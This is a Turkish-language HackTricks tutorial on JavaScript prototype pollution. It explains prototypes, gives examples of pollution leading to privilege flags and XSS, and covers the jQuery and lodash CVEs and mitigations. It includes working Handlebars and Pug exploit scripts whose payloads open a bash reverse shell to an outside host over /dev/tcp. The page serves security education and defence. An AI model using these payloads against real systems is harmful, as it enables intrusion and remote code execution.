NodeJS - __proto__ & prototype Pollution

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

JavaScript'te Nesneler

JavaScript'teki nesneler esasen özellikler olarak bilinen anahtar-değer çiftlerinin koleksiyonlarıdır. Object.create kullanarak null argümanı ile bir nesne oluşturulabilir ve bu, boş bir nesne üretir. Bu yöntem, miras alınan özellikler olmadan bir nesne oluşturulmasına olanak tanır.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Boş bir nesne, {} olarak temsil edilen boş bir sözlüğe benzer.

JavaScript'te Fonksiyonlar ve Sınıflar

JavaScript'te, sınıflar ve fonksiyonlar yakından bağlantılıdır; fonksiyonlar genellikle sınıflar için yapıcılar olarak hizmet eder. JavaScript'in yerel sınıf desteği olmamasına rağmen, yapıcılar sınıf davranışını taklit edebilir.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototipler JavaScript'te

JavaScript, prototip özelliklerinin çalışma zamanında değiştirilmesine, eklenmesine veya silinmesine izin verir. Bu esneklik, sınıf işlevselliklerinin dinamik olarak genişletilmesini sağlar.

toString ve valueOf gibi fonksiyonlar, davranışlarını değiştirmek için değiştirilebilir ve bu, JavaScript'in prototip sisteminin uyumlu doğasını gösterir.

Kalıtım

Prototip tabanlı programlamada, özellikler/yöntemler nesneler tarafından sınıflardan miras alınır. Bu sınıflar, başka bir sınıfın bir örneğine veya boş bir nesneye özellikler/yöntemler eklenerek oluşturulur.

Bir nesneye (örneğin myPersonObj) diğer nesneler için prototip olarak hizmet eden bir özellik eklendiğinde, miras alan nesneler bu yeni özelliğe erişim kazanır. Ancak, bu özellik açıkça çağrılmadıkça otomatik olarak görüntülenmez.

__proto__ kirliliği

JavaScript'te Prototip Kirliliğini Keşfetmek

JavaScript nesneleri, anahtar-değer çiftleri ile tanımlanır ve JavaScript Nesne prototipinden miras alır. Bu, Nesne prototipinin değiştirilmesinin ortamda tüm nesneleri etkileyebileceği anlamına gelir.

Açıklamak için farklı bir örnek kullanalım:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Object prototipine erişim şu yollarla mümkündür:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Object prototipine özellikler ekleyerek, her JavaScript nesnesi bu yeni özellikleri miras alacaktır:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

prototype pollution

__proto__ kullanımının kısıtlandığı bir senaryo için, bir fonksiyonun prototipini değiştirmek bir alternatiftir:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Bu, yalnızca Vehicle yapıcısından oluşturulan nesneleri etkiler ve onlara beep, hasWheels, honk ve isElectric özelliklerini verir.

Prototip kirliliği yoluyla JavaScript nesnelerini küresel olarak etkilemenin iki yöntemi şunlardır:

  1. Object.prototype'ı doğrudan kirletmek:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Yaygın olarak kullanılan bir yapının bir yapıcı prototipini kirletmek:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Bu işlemlerden sonra, her JavaScript nesnesi goodbye ve greet yöntemlerini çalıştırabilir.

Diğer nesneleri kirletme

Bir sınıftan Object.prototype'a

Belirli bir nesneyi kirletebileceğiniz ve Object.prototype'a ulaşmanız gerektiği bir senaryoda, aşağıdaki gibi bir kod ile onu arayabilirsiniz:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Dizi elemanları kirliliği

JS'de nesnelerin niteliklerini kirletebildiğiniz gibi, bir diziye kirletme erişiminiz varsa, dizinin indeksler aracılığıyla erişilebilen değerlerini de kirletebilirsiniz (değerleri üzerine yazamayacağınızı unutmayın, bu nedenle bir şekilde kullanılan ancak yazılmayan indeksleri kirletmeniz gerekir).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elemanları kirliliği

JS aracılığıyla bir HTML elemanı oluştururken, keyfi HTML kodu yazmak için innerHTML niteliğini üstüne yazmak mümkündür. Bu yazıdan fikir ve örnek.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Örnekler

Temel Örnek

Bir prototip kirlenmesi, Object.prototype üzerindeki özelliklerin üzerine yazılmasına izin veren bir uygulama hatasından kaynaklanır. Bu, çoğu nesnenin özelliklerini Object.prototype'dan türettiği anlamına gelir.

En basit örnek, kontrol edilecek bir nesnenin tanımsız bir niteliğine bir değer eklemektir, şöyle:

if (user.admin) {

Eğer admin niteliği tanımsızsa, bir PP'yi kötüye kullanmak ve onu True olarak ayarlamak mümkündür:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Bu mekanizma, bir saldırgan belirli girdiler üzerinde kontrol sahibi olduğunda, uygulamadaki tüm nesnelerin prototipini değiştirebilecek şekilde özellikleri manipüle etmeyi içerir. Bu manipülasyon genellikle __proto__ özelliğini ayarlamayı içerir; bu, JavaScript'te bir nesnenin prototipini doğrudan değiştirmekle eşanlamlıdır.

Bu saldırının başarılı bir şekilde gerçekleştirilebileceği koşullar, belirli bir çalışmada belirtildiği gibi şunlardır:

  • Rekürsif bir birleştirme gerçekleştirmek.

  • Bir yola dayalı olarak özellikler tanımlamak.

  • Nesneleri klonlamak.

Override function

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution'dan RCE'ye

Prototype Pollution to RCE

Diğer payloadlar:

İstemci tarafı prototip kirlenmesi ile XSS

Client Side Prototype Pollution

CVE-2019–11358: jQuery $ .extend aracılığıyla prototip kirlenmesi saldırısı

Daha fazla detay için bu makaleye bakın jQuery'de, $ .extend fonksiyonu derin kopyalama özelliği yanlış kullanıldığında prototip kirlenmesine yol açabilir. Bu fonksiyon, nesneleri klonlamak veya varsayılan bir nesneden özellikleri birleştirmek için yaygın olarak kullanılır. Ancak, yanlış yapılandırıldığında, yeni bir nesne için tasarlanan özellikler prototipe atanabilir. Örneğin:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Bu zafiyet, CVE-2019–11358 olarak tanımlanmıştır ve derin bir kopyanın istemeden prototipi değiştirebileceğini, bu durumun da isAdmin gibi özelliklerin uygun varlık doğrulaması olmadan kontrol edilmesi durumunda yetkisiz yönetici erişimi gibi potansiyel güvenlik risklerine yol açabileceğini göstermektedir.

CVE-2018–3721, CVE-2019–10744: lodash üzerinden prototip kirlenmesi saldırısı

Daha fazla detay için bu makaleyi kontrol edin

Lodash, benzer prototip kirlenmesi zafiyetleri (CVE-2018–3721, CVE-2019–10744) ile karşılaşmıştır. Bu sorunlar 4.17.11 sürümünde ele alınmıştır.

CVE'ler ile başka bir eğitim

Prototip Kirlenmesini Tespit Etmek için Araçlar

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Web uygulamalarında sunucu tarafı prototip kirlenmesi zafiyetlerini tespit etmek ve analiz etmek için tasarlanmış Burp Suite uzantısı. Bu araç, potansiyel prototip kirlenmesi sorunlarını tanımlamak için istekleri tarama sürecini otomatikleştirir. Bilinen gadget'ları - prototip kirlenmesini kullanarak zararlı eylemler gerçekleştirme yöntemleri - özellikle Node.js kütüphanelerine odaklanarak kullanır.

  • server-side-prototype-pollution: Bu uzantı, sunucu tarafı prototip kirlenmesi zafiyetlerini tanımlar. Sunucu tarafı prototip kirlenmesi ile tanımlanan teknikleri kullanır.

NodeJS'de AST Prototip Kirlenmesi

NodeJS, JavaScript'te şablon motorları ve TypeScript gibi işlevler için Soyut Sözdizim Ağaçları (AST) kullanmaktadır. Bu bölüm, şablon motorlarındaki prototip kirlenmesi ile ilgili zafiyetleri, özellikle Handlebars ve Pug'u incelemektedir.

Handlebars Zafiyet Analizi

Handlebars şablon motoru, bir prototip kirlenmesi saldırısına karşı hassastır. Bu zafiyet, javascript-compiler.js dosyasındaki belirli işlevlerden kaynaklanmaktadır. Örneğin, appendContent işlevi, pendingContent mevcutsa bunu birleştirirken, pushSource işlevi kaynağı ekledikten sonra pendingContent'i undefined olarak sıfırlar.

Sömürü Süreci

Sömürü, Handlebars tarafından üretilen AST'yi (Soyut Sözdizim Ağacı) kullanarak şu adımları izler:

  1. Parser'ın Manipülasyonu: İlk olarak, NumberLiteral düğümü aracılığıyla parser, değerlerin sayısal olmasını zorunlu kılar. Prototip kirlenmesi bunu aşabilir ve sayısal olmayan dizelerin eklenmesine olanak tanır.

  2. Derleyici Tarafından İşlenmesi: Derleyici, bir AST Objesini veya bir dize şablonunu işleyebilir. Eğer input.type Program'a eşitse, girdi önceden işlenmiş olarak kabul edilir ve bu durum sömürülebilir.

  3. Kod Enjeksiyonu: Object.prototype'ın manipülasyonu yoluyla, şablon işlevine rastgele kod enjekte edilebilir, bu da uzaktan kod yürütmeye yol açabilir.

Handlebars zafiyetinin sömürüsünü gösteren bir örnek:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Bu kod, bir saldırganın Handlebars şablonuna keyfi kod enjekte edebileceğini göstermektedir.

Dış Referans: 'flat' kütüphanesinde prototip kirlenmesi ile ilgili bir sorun bulundu, detaylar burada: GitHub'daki Sorun.

Dış Referans: ‘flat’ kütüphanesindeki prototip kirlenmesi ile ilgili sorun

Python'da prototip kirlenmesi istismarına örnek:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Açığı

Pug, başka bir şablon motoru, prototip kirlenmesi riskiyle karşı karşıyadır. Ayrıntılı bilgi Pug'da AST Enjeksiyonu tartışmasında mevcuttur.

Pug'da prototip kirlenmesi örneği:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Önleyici Tedbirler

Prototip kirlenmesi riskini azaltmak için aşağıdaki stratejiler uygulanabilir:

  1. Nesne Değişmezliği: Object.prototypeObject.freeze uygulayarak değişmez hale getirebilirsiniz.

  2. Girdi Doğrulama: JSON girdileri, uygulamanın şemasına karşı titizlikle doğrulanmalıdır.

  3. Güvenli Birleştirme Fonksiyonları: Güvensiz birleştirme fonksiyonlarının rekürsif kullanımından kaçınılmalıdır.

  4. Prototipsiz Nesneler: Prototip özellikleri olmayan nesneler Object.create(null) kullanılarak oluşturulabilir.

  5. Map Kullanımı: Anahtar-değer çiftlerini depolamak için Object yerine Map kullanılmalıdır.

  6. Kütüphane Güncellemeleri: Güvenlik yamaları, kütüphaneleri düzenli olarak güncelleyerek entegre edilebilir.

  7. Linter ve Statik Analiz Araçları: Prototip kirlenmesi açıklarını tespit etmek ve önlemek için uygun eklentilere sahip ESLint gibi araçlar kullanılmalıdır.

  8. Kod İncelemeleri: Prototip kirlenmesi ile ilgili potansiyel riskleri belirlemek ve düzeltmek için kapsamlı kod incelemeleri uygulanmalıdır.

  9. Güvenlik Eğitimi: Geliştiricileri prototip kirlenmesi riskleri ve güvenli kod yazma en iyi uygulamaları hakkında eğitmek.

  10. Kütüphaneleri Dikkatle Kullanma: Üçüncü taraf kütüphaneleri kullanırken dikkatli olun. Güvenlik duruşlarını değerlendirin ve özellikle nesneleri manipüle edenlerin kodunu gözden geçirin.

  11. Çalışma Zamanı Koruması: Prototip kirlenmesi saldırılarını tespit ve önlemek için güvenlik odaklı npm paketleri kullanarak çalışma zamanı koruma mekanizmaları uygulayın.

Referanslar

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated